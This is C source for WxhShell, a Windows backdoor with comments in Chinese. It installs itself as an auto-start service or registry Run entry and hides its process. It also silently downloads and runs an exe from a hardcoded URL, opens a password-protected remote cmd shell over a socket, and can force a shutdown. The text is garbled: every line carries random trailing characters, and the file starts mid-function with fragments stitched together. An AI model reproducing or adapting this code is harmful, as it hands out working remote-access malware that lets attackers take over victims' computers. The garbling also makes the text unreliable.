    if(Boot(SHUTDOWN)) ,Csdon  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^8O:.  
    else { #v c+;`X  
    closesocket(wsh); NT6jwK.?)?  
    ExitThread(0); )\U:e:Zae  
    } zU5@~J  
    break; -J]?M  
    } d% EdvM|)  
  // 获取shell &0 QUObK  
  case 's': { Q}#4Qz~n  
    CmdShell(wsh); M]8>5Zx.  
    closesocket(wsh);  ;LS.  
    ExitThread(0); 2d[tcn$;h]  
    break; 4'faE="1)S  
  } 9G6)ja?W  
  // 退出 P IG,a~  
  case 'x': { hC-uz _/3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CW`^fI9H  
    CloseIt(wsh); #kQ! GMZH  
    break; Eu |/pH=:  
    } lB}?ey   
  // 离开 U& GPede  
  case 'q': { S 1k*"><  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W{Qb*{9  
    closesocket(wsh); \]Y<d  
    WSACleanup(); S5|7D[*  
    exit(1); 6I[*p0j5  
    break; #h ud_  
        } h5{//0 y  
  } b$w66q8  
  } JP!e'oWxi  
*Y1s4FXu2  
  // 提示信息 tE>FL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I'D3~UI f  
} D~inR3(}  
  } fq1w <e  
QAI=nrlp  
  return; Qc33C A  
}  WLWfe-  
0MT?}D&TL  
// shell模块句柄  [6@bsXiw  
int CmdShell(SOCKET sock) 06NiH-0O  
{ 2U%t  
STARTUPINFO si; lBn<\Y!^  
ZeroMemory(&si,sizeof(si)); )~P<ruk>,C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;8VZsh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; };2Lrz9<  
PROCESS_INFORMATION ProcessInfo; x ~l"'qsK  
char cmdline[]="cmd"; 0r@L A|P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H/f}t w  
  return 0; ~+6#4<M.~  
} d+Mogku2  
G>Bgw>#_  
// 自身启动模式 2!f'l'}  
int StartFromService(void) %jUZc:06  
{ 6o#J  
typedef struct wPyc?:|KD?  
{ 1>_$O|dE  
  DWORD ExitStatus; -vT$UP  
  DWORD PebBaseAddress; kPEU}Kv  
  DWORD AffinityMask; W OYZ  
  DWORD BasePriority; \#h=pz+jb  
  ULONG UniqueProcessId; w6 Y+Y;,'f  
  ULONG InheritedFromUniqueProcessId; 9<Zm}PE32  
}   PROCESS_BASIC_INFORMATION; aF=;v*  
q9(O=7O]-  
PROCNTQSIP NtQueryInformationProcess; 4pDZ +}p  
*nM.`7g*[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J(~xU0gd'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $~EY:  
Cn9MboXX  
  HANDLE             hProcess; 8BIPEY -I?  
  PROCESS_BASIC_INFORMATION pbi; c1]\.s  
yC }x6xG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Wjf"dG}  
  if(NULL == hInst ) return 0; -mZ{.\9  
UR`pZ.U?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QD[l 6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P.|g4EdND  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iow8H' F  
4.&et()}  
  if (!NtQueryInformationProcess) return 0; Io;26F""  
Z*5]qh2r8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); el0W0T  
  if(!hProcess) return 0; d #-<=6  
V> eJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H% c{ }F  
2wh{[Q2f  
  CloseHandle(hProcess); m+'X8}GC#O  
%hzNkyD)Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VM ny>g&3  
if(hProcess==NULL) return 0; In4T`c?kQ  
r(=3yd/G$  
HMODULE hMod; -aMwC5iR@  
char procName[255]; "2/VDB4!FG  
unsigned long cbNeeded; M8lR#2n|  
p&\x*~6u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Gudx>I  
t #g6rh&  
  CloseHandle(hProcess); Y|i!\Ae  
(3G]-  
if(strstr(procName,"services")) return 1; // 以服务启动 esEOV$s}  
k}Vu!+cz  
  return 0; // 注册表启动 6{I5 23g  
} :@X@8j":  
>&9Iy"  
// 主模块 T+/Gz'  
int StartWxhshell(LPSTR lpCmdLine) -r82'3]  
{ aI8K*D )@  
  SOCKET wsl; 93y.u<,2;  
BOOL val=TRUE; V# 6`PD6  
  int port=0; }%rz"kB  
  struct sockaddr_in door; ',* 6vbII  
"mE<r2=@  
  if(wscfg.ws_autoins) Install(); CLD*\)QD\  
*K\/5Fzl  
port=atoi(lpCmdLine); V9m1n=r  
O@_)]z?jUc  
if(port<=0) port=wscfg.ws_port; L*VGdZ  
2{h9a0b  
  WSADATA data; D`.CXFI+U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |xaA3UA  
EY!aiH6P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HWGlC <  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d=wzN3 ;-  
  door.sin_family = AF_INET; I#f<YbzD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F+AShh  
  door.sin_port = htons(port); 4oOe  
t9x.O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W#0pFofXw  
closesocket(wsl); ~`mOs1d  
return 1; &&(sZG w  
} |'=R`@w~0  
d%4!d_I<  
  if(listen(wsl,2) == INVALID_SOCKET) { j t-ayLq  
closesocket(wsl); aCFO ]  
return 1; 0V`0="rQ  
} |3\ mH~Bw  
  Wxhshell(wsl); m]Z& .,bA  
  WSACleanup(); gnB%/g[_  
|'mgo  
return 0; ,uE WnZ"4  
 @;d(>_n  
} .#J'+LxFr  
(? YTQ8QR  
// 以NT服务方式启动 i>q]U:U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G4MNcy  
{ i v&:X3iB  
DWORD   status = 0; 0j4bu}@  
  DWORD   specificError = 0xfffffff; xC!,v 0&  
Q6kkMLh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .v0.wG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m[Px|A5{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t#}/VnSQ  
  serviceStatus.dwWin32ExitCode     = 0; +!dIEt).U  
  serviceStatus.dwServiceSpecificExitCode = 0; xAQ=oF +  
  serviceStatus.dwCheckPoint       = 0; [|xHXcW  
  serviceStatus.dwWaitHint       = 0; KDwjck"5;  
{Qg"1+hhM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "+r8izB  
  if (hServiceStatusHandle==0) return; !YsL x[+  
z';p275  
status = GetLastError(); KE&Y~y8O\  
  if (status!=NO_ERROR) k P>G4$e_v  
{ J/M1#sE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 70mQ{YNN  
    serviceStatus.dwCheckPoint       = 0; kdITh9nx<r  
    serviceStatus.dwWaitHint       = 0; [^P25K  
    serviceStatus.dwWin32ExitCode     = status; e ,k,L  
    serviceStatus.dwServiceSpecificExitCode = specificError; O:q 0-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <<@$0RW  
    return; kf~ D m}bV  
  } |u<qbl  
a(NN%'fDD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k2" Z:\?z  
  serviceStatus.dwCheckPoint       = 0; [l:3F<M  
  serviceStatus.dwWaitHint       = 0; o2@8w[r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kNMhMEez  
} 0:@:cz=#*  
+D*b!5[  
// 处理NT服务事件,比如:启动、停止 O+@"l$;N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c&e?_@} |  
{ W0K&mBu  
switch(fdwControl) ` Cdk b5  
{ KtA0 8?B  
case SERVICE_CONTROL_STOP: L/1?PM  
  serviceStatus.dwWin32ExitCode = 0; ~2beVQ(U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !r,ZyJU  
  serviceStatus.dwCheckPoint   = 0; :\NqGS=<  
  serviceStatus.dwWaitHint     = 0; J@=1zL  
  { cH.T6u_%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uB>NwCL;  
  } qDxz`}Ly=  
  return; @ZK#Y){  
case SERVICE_CONTROL_PAUSE: G9<p Yt{:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .[? E1we  
  break; o) `zb?  
case SERVICE_CONTROL_CONTINUE: #?k$0|60  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !Ui3}  
  break; >&f .^p  
case SERVICE_CONTROL_INTERROGATE: >r2m1}6g"  
  break; !:,d^L!bh  
}; U SXz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SXSH9;j  
} L"rLalUw  
L%ND?'@  
// 标准应用程序主函数 |{k;p fPV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N{IY \/;\  
{ w;vp X>  
E j@M\  
// 获取操作系统版本 hun L V8z  
OsIsNt=GetOsVer(); K2$mz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BA' ($D>  
: FF:{&d  
  // 从命令行安装 m=k(6  
  if(strpbrk(lpCmdLine,"iI")) Install(); JAj<*TB.%  
+^{;o0kcx  
  // 下载执行文件 WZ&/l 65J  
if(wscfg.ws_downexe) { ICo_O] Ke  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0I* ^VGZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); _|D8~\y  
} 9aD6mp  
2/RK pl &  
if(!OsIsNt) { z kYl IUD  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?d%+85  
HideProc(); Ne,7[k  
StartWxhshell(lpCmdLine); G1  %c<1Y  
} 8X][TJG$  
else m{`O.6#O  
  if(StartFromService())  %1<No/  
  // 以服务方式启动 Y=sRVypJ  
  StartServiceCtrlDispatcher(DispatchTable); &NZN_%  
else 6* cm  
  // 普通方式启动 (P~Jzp9u  
  StartWxhshell(lpCmdLine); ?^mgK9^v@  
.qi$X!0  
return 0; ]|<PV5SY3.  
} cveTrY}g  
}OJ*o  
GeWB"(t  
@xH|(  
=========================================== {J%Na&D  
ag]b]K  
t }7hD  
w-FZ`OA`D  
.FK[Y?ci#  
TDBWYppM  
" #`RY KQwB  
jy(,^B,]  
#include <stdio.h> Gg|'T}0X  
#include <string.h> N(vzxx^  
#include <windows.h> Q2cF++Q1  
#include <winsock2.h> h>sz@\{  
#include <winsvc.h> W:O<9ZbQ_  
#include <urlmon.h> d#Sc4xuf  
QIQB  
#pragma comment (lib, "Ws2_32.lib") m(q6Xe:Vc  
#pragma comment (lib, "urlmon.lib") #QXv[%k  
jWLZ!a3+  
#define MAX_USER   100 // 最大客户端连接数 au9r)]p-  
#define BUF_SOCK   200 // sock buffer o+;=C@,'  
#define KEY_BUFF   255 // 输入 buffer _s><>LH~  
7{RI`Er`  
#define REBOOT     0   // 重启 4q/E7n  
#define SHUTDOWN   1   // 关机 Iwi>yx8  
yY_G;Wk  
#define DEF_PORT   5000 // 监听端口 V]L$`7G  
Fx4C]S  
#define REG_LEN     16   // 注册表键长度 N[^%|  
#define SVC_LEN     80   // NT服务名长度 z{d],M  
6?Q&>V26Y  
// 从dll定义API QtJe){(z+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); auAST;"Z8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ictc '#y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qc;`n ck  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o m`r^3,  
cE 8vSQ%  
// wxhshell配置信息 $ ;>,  
struct WSCFG { 9<kKno  
  int ws_port;         // 监听端口 r=n|MT^O  
  char ws_passstr[REG_LEN]; // 口令 m}:";>?#  
  int ws_autoins;       // 安装标记, 1=yes 0=no "M v%M2'c  
  char ws_regname[REG_LEN]; // 注册表键名 '&Q_5\Tn  
  char ws_svcname[REG_LEN]; // 服务名 to[EA6J8l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ($E(^p% O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >4ebvM 0|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XtT;UBE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Hh$3U v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j:"+/5rV8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MFX&+c  
_S8]W !c  
}; Wq0h3AjR  
o%h\55S  
// default Wxhshell configuration {5.,gb@6  
struct WSCFG wscfg={DEF_PORT, -}{\C]%  
    "xuhuanlingzhe", 7$x@;%xd  
    1, R" 5/  
    "Wxhshell", 00U8<~u  
    "Wxhshell", v 8{oXzyy  
            "WxhShell Service", ]SBv3Q0D7  
    "Wrsky Windows CmdShell Service", p!' "hx  
    "Please Input Your Password: ", U'";  
  1, BS*cG>T  
  "http://www.wrsky.com/wxhshell.exe", dLD"Cx  
  "Wxhshell.exe" NxNR;wz>l  
    }; >G' NI?$  
PHDKx+$  
// 消息定义模块 lADi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b$PNZC8f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !aa^kcEjnL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H\8i9RI  
char *msg_ws_ext="\n\rExit."; ~S|Vd  
char *msg_ws_end="\n\rQuit."; ]!YzbvoR  
char *msg_ws_boot="\n\rReboot..."; 3tnYK&  
char *msg_ws_poff="\n\rShutdown..."; dAEz hR[=  
char *msg_ws_down="\n\rSave to "; 5PKv@Mk  
'9auQ(2  
char *msg_ws_err="\n\rErr!"; eX?o 4>  
char *msg_ws_ok="\n\rOK!"; PwF}yx kI  
X%`8h _  
char ExeFile[MAX_PATH]; ?aSL'GI  
int nUser = 0; 8x58sOR=  
HANDLE handles[MAX_USER]; X?>S24I"9  
int OsIsNt; <6dD{{J]>p  
.a=M@; p  
SERVICE_STATUS       serviceStatus; JB+pd_>5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `~@BU  
k B2+ Tr  
// 函数声明 8"oS1W  
int Install(void); Vy}:Q[  
int Uninstall(void); *>_:E6)  
int DownloadFile(char *sURL, SOCKET wsh); r2""p  
int Boot(int flag); 9!bD|-6y  
void HideProc(void); 71K6] ~<  
int GetOsVer(void); p@cPm8L3  
int Wxhshell(SOCKET wsl); gP/]05$e  
void TalkWithClient(void *cs); 0>Mm |x*5  
int CmdShell(SOCKET sock); N1LR _vS"  
int StartFromService(void); *ArzXhs[  
int StartWxhshell(LPSTR lpCmdLine); .WyI.Y1  
Lb2Bu>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?)]sfJG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z w5EaY  
(6 0,0|s  
// 数据结构和表定义 4`Fbl]Q   
SERVICE_TABLE_ENTRY DispatchTable[] = } k5pfz  
{  sGdt)  
{wscfg.ws_svcname, NTServiceMain}, K<s\:$VVh  
{NULL, NULL} <6(u%t0k5  
}; L0+@{GP?  
.Z/"L@  
// 自我安装 w'L;`k;Q  
int Install(void) $Q47>/CUc^  
{ <#`<Ys3b*!  
  char svExeFile[MAX_PATH]; bE0S) b)  
  HKEY key; 6GJ?rE E/  
  strcpy(svExeFile,ExeFile); NiWooFPKJ  
zaoZCyJT%  
// 如果是win9x系统,修改注册表设为自启动 1 #EmZ{*  
if(!OsIsNt) { VLQfuh;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k U3] eh\I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o<C~67o_  
  RegCloseKey(key); k)S7SbQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xhimRi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $]Fe9E?   
  RegCloseKey(key); j4G,Z4  
  return 0; [bGdg  
    } }]g>PY  
  } R \`,Q'3  
} VK$+Nm)  
else { > ]6Eb`v  
Q >sq:R+'  
// 如果是NT以上系统,安装为系统服务 gVZ~OcB!W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :k(aH Ua  
if (schSCManager!=0)  p&ZD1qa  
{ cT.1oaAM0  
  SC_HANDLE schService = CreateService T}4RlIZF  
  ( (a)d7y.oo  
  schSCManager, _-^ KqNyy  
  wscfg.ws_svcname, bLf }U9  
  wscfg.ws_svcdisp, lT$A;7[  
  SERVICE_ALL_ACCESS, F'`L~!F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d_]MqH>R\  
  SERVICE_AUTO_START, }|A%2!Q}  
  SERVICE_ERROR_NORMAL, m\jp$  
  svExeFile, K3\U'bRO  
  NULL, 81aY*\  
  NULL, 9nd'"$  
  NULL, 501|Y6ptl  
  NULL, [qid4S~r,&  
  NULL wAy;ZNu  
  ); vH7"tz&RIp  
  if (schService!=0) srC'!I=s>8  
  { hEEbH@b  
  CloseServiceHandle(schService); gbKms ; :  
  CloseServiceHandle(schSCManager); %JiA,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mtJI#P  
  strcat(svExeFile,wscfg.ws_svcname); [nflQW6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *[_?4*F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "3}Bv X  
  RegCloseKey(key); _>&zhw2  
  return 0; ?b2%\p`"  
    } % ]  
  } +KD~/}C%-  
  CloseServiceHandle(schSCManager); =">O;L.xj  
} -bKli<C  
} zf2]|]*xz  
], ' n!:>  
return 1; w9z((\5  
} PVV\@  
i' N  
// 自我卸载 z!t &zkAK  
int Uninstall(void) ##yi^;3Y  
{ t5e%"}>7H  
  HKEY key; XlB`Z81j  
v>0xHQD*<M  
if(!OsIsNt) { 5H?`a7q N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q0nSOTQ  
  RegDeleteValue(key,wscfg.ws_regname); ~f ){`ZJc  
  RegCloseKey(key); Ok O;V6`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HtS:'~DYo  
  RegDeleteValue(key,wscfg.ws_regname); 1LcQ*d  
  RegCloseKey(key); spn1Ji  
  return 0; 9<-AukK m  
  } l<^#@SH  
} .F}ZP0THnZ  
} 3Jk;+<  
else { U2+CL)al^  
QJ pUk%Wj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .$S`J2Y  
if (schSCManager!=0) K+Ehj(eF  
{ Yc\;`C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ae#7*B  
  if (schService!=0) (~/D*<A  
  { $NJi]g|<3  
  if(DeleteService(schService)!=0) { -Z]?v3 9  
  CloseServiceHandle(schService); m.S@ e8kS  
  CloseServiceHandle(schSCManager); &*L:4By)]  
  return 0; #p*OLQ3~  
  } hIPDJ1a  
  CloseServiceHandle(schService); ^K&& O {  
  } t~XwF(";  
  CloseServiceHandle(schSCManager); a<c %Xy/  
} tse(iX/D  
} aI+:rk^  
8pt;''  
return 1; Y@RPQPmIQ  
} {"'W!WT b  
QT\S>}  
// 从指定url下载文件 #). om*Xh  
int DownloadFile(char *sURL, SOCKET wsh) /3rt]h"  
{ 3}n=od=  
  HRESULT hr; WynHcxC  
char seps[]= "/"; ;c<:"ad(  
char *token; JTl 37j  
char *file; ,Ea.ts>  
char myURL[MAX_PATH]; 0qZ{:}`3  
char myFILE[MAX_PATH]; t'0r4&\  
luLm:NWUM  
strcpy(myURL,sURL); \w O)w@"  
  token=strtok(myURL,seps); 8R8J./i.K  
  while(token!=NULL) 5GT,:0  
  { 42t D$S5^  
    file=token; ~"brfjd|  
  token=strtok(NULL,seps); h Sr#/dw&  
  } p;BdzV>  
4$d|}ajH  
GetCurrentDirectory(MAX_PATH,myFILE); d/Fjs0pt  
strcat(myFILE, "\\"); `;5UlkVZ5  
strcat(myFILE, file); az0( 54M  
  send(wsh,myFILE,strlen(myFILE),0); !tHqF  
send(wsh,"...",3,0); 18V*Cu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); esbxx##\  
  if(hr==S_OK) +JBhw4et;.  
return 0; 0O"GI33Mg  
else BP*gnXj  
return 1; k`2 K?9\  
M _$pqVm  
} Lg_y1Mu7o  
9?bfZF4A=  
// 系统电源模块 BalOph4M[  
int Boot(int flag) ?i)-K?4Sb  
{ BxO2w1G  
  HANDLE hToken; u\&oiwSIP  
  TOKEN_PRIVILEGES tkp; n4(w?,w }  
ANp4yy+  
  if(OsIsNt) { W[j =!o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  QH9(l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2P@>H_JFF  
    tkp.PrivilegeCount = 1; FhAuTZk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c*MjBAq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FbW kT4t|  
if(flag==REBOOT) { |PDuvv!.f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hFj.d]S  
  return 0; j$&k;S  
} 9BNAj-Xa  
else { [WX+/pm7>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X1#D}  
  return 0; {3`#? q^o'  
} p5c'gziR  
  } m!N_TOl-^  
  else { H ,KU!1p  
if(flag==REBOOT) { 9"_qa q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OQ W#BBet@  
  return 0; 1\kOjF)l  
} J A4'e@  
else { 5|S|HZ8G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >UWL T;N/W  
  return 0; `S{< $:D  
} burEo.=  
} q,$UKg#i  
.'5yFBS  
return 1; 2~Gcoda  
} 8X5;)h   
dGP*bMCT  
// win9x进程隐藏模块 L.l%EcW=,  
void HideProc(void) _BtppQIWv  
{ {5^ 'u^E  
HBo^8wN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !+9H=u  
  if ( hKernel != NULL ) . I {X  
  { Ai(M06P:h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IP&En8W+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A$Es(<'9g  
    FreeLibrary(hKernel); T1\Xz-1  
  } m*CIbkDsZ  
Uu>YE0/)  
return; ~W%A8`9  
} J U}XSb  
kh^AH6{2  
// 获取操作系统版本 dZ`nv[]k~  
int GetOsVer(void) zdU<]ge  
{ ruB&&C6)v  
  OSVERSIONINFO winfo; &=X1kQG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dn<2.!ZKQ  
  GetVersionEx(&winfo); mr E^D|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qECc[)B  
  return 1; JNuo+Pq  
  else o=q N+-N  
  return 0; ,Xo9gn  
} tojJQ6;J  
$J=9$.4"  
// 客户端句柄模块 2=(=Wjk.  
int Wxhshell(SOCKET wsl) o PR^Z pt  
{ Ibd7[A\  
  SOCKET wsh; =f.f%g6  
  struct sockaddr_in client; 7.8ukAud  
  DWORD myID; j%]i#iqF  
W_O,Kao  
  while(nUser<MAX_USER) K&D -1u  
{ K )KE0/ n  
  int nSize=sizeof(client); &p=|z2 J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^p|@{4f]  
  if(wsh==INVALID_SOCKET) return 1; `@")R-  
HEht^ /pJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $-5iwZ  
if(handles[nUser]==0) B%^B_s  
  closesocket(wsh); ,Y &Q,  
else F3,hx  
  nUser++; L a0H  
  } 7I(Sa?D:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4LUFG  
Ocx=)WKdW  
  return 0; TcO@q ]+S  
} &q``CCOF&  
8l+\Qyj  
// 关闭 socket g9GE0DbT`  
void CloseIt(SOCKET wsh) qyP@[8eH  
{ vp[~%~1(  
closesocket(wsh); 6wqq"6w  
nUser--; [ 3]!*Cd  
ExitThread(0); [JO'ta  
} O<)"k j 7  
( T VzYm y  
// 客户端请求句柄 I}kx;!*b  
void TalkWithClient(void *cs) Y9'Bdm/  
{ iRPt0?$  
BYqDC<Fq  
  SOCKET wsh=(SOCKET)cs; Q*^zphT  
  char pwd[SVC_LEN]; y9=/kFPRm  
  char cmd[KEY_BUFF]; )67Kd]  
char chr[1]; |GA4fFE=  
int i,j; AVZ-g/<  
l$}h1&V7  
  while (nUser < MAX_USER) { CTD{!I(  
_o8il3  
if(wscfg.ws_passstr) { 0N;Pb(%7UU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "c\ZUx_i6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bO>Mvf  
  //ZeroMemory(pwd,KEY_BUFF); lo,?mj%M  
      i=0; {[m %1O1  
  while(i<SVC_LEN) { @-NdgM<  
2w$o;zz1  
  // 设置超时 IMmoq={ (z  
  fd_set FdRead; $"!"=v%B  
  struct timeval TimeOut; G)?VC^Q  
  FD_ZERO(&FdRead); B+ud-M0  
  FD_SET(wsh,&FdRead); -|~6Zf"  
  TimeOut.tv_sec=8; OHdC t  
  TimeOut.tv_usec=0; d(jd{L4d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N32!*TsWs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GO.mT/rB  
"]f0wLzh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u%Bk"noCa  
  pwd=chr[0]; qSlC@@.>  
  if(chr[0]==0xd || chr[0]==0xa) { ULIbVy7Y  
  pwd=0; ;[R{oW Nw  
  break; V2W)%c'  
  } s(w6Ldi  
  i++; : P>Wd3m  
    } VC:.ya|Z  
V*@pmOhz  
  // 如果是非法用户,关闭 socket wN-3@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h\Ck""&  
} Y,RBTH  
T\eOrWt/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t7pe)i,)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x6d+`4  
C:\BvPoO  
while(1) { cT'D2Yeq  
1@JAY!yoo_  
  ZeroMemory(cmd,KEY_BUFF); &> tmzlww  
=B@owx  
      // 自动支持客户端 telnet标准   )mT{w9u  
  j=0; 7E*d>:5I  
  while(j<KEY_BUFF) { Xp"ZK=r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nih8(pbe  
  cmd[j]=chr[0]; &k*sxW'  
  if(chr[0]==0xa || chr[0]==0xd) { `h*)PitRa  
  cmd[j]=0; S 'S|k7Lp  
  break; ^  ry   
  } FGo{6'K(:  
  j++; E96FwA5  
    } T$RVz   
Hy`Ee7>  
  // 下载文件 pJ!:mt  
  if(strstr(cmd,"http://")) { Q>]FO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dY'/\dJ  
  if(DownloadFile(cmd,wsh)) r8x<- u4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FvQ>Y')R7Z  
  else Y -%g5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K;Qlg{v  
  } 2x%Xx3!  
  else { <\l@`x96"D  
(!`TO{!6P  
    switch(cmd[0]) { ?.Z4GWyXa  
  I/:M~ b  
  // 帮助 3m:[o`L  
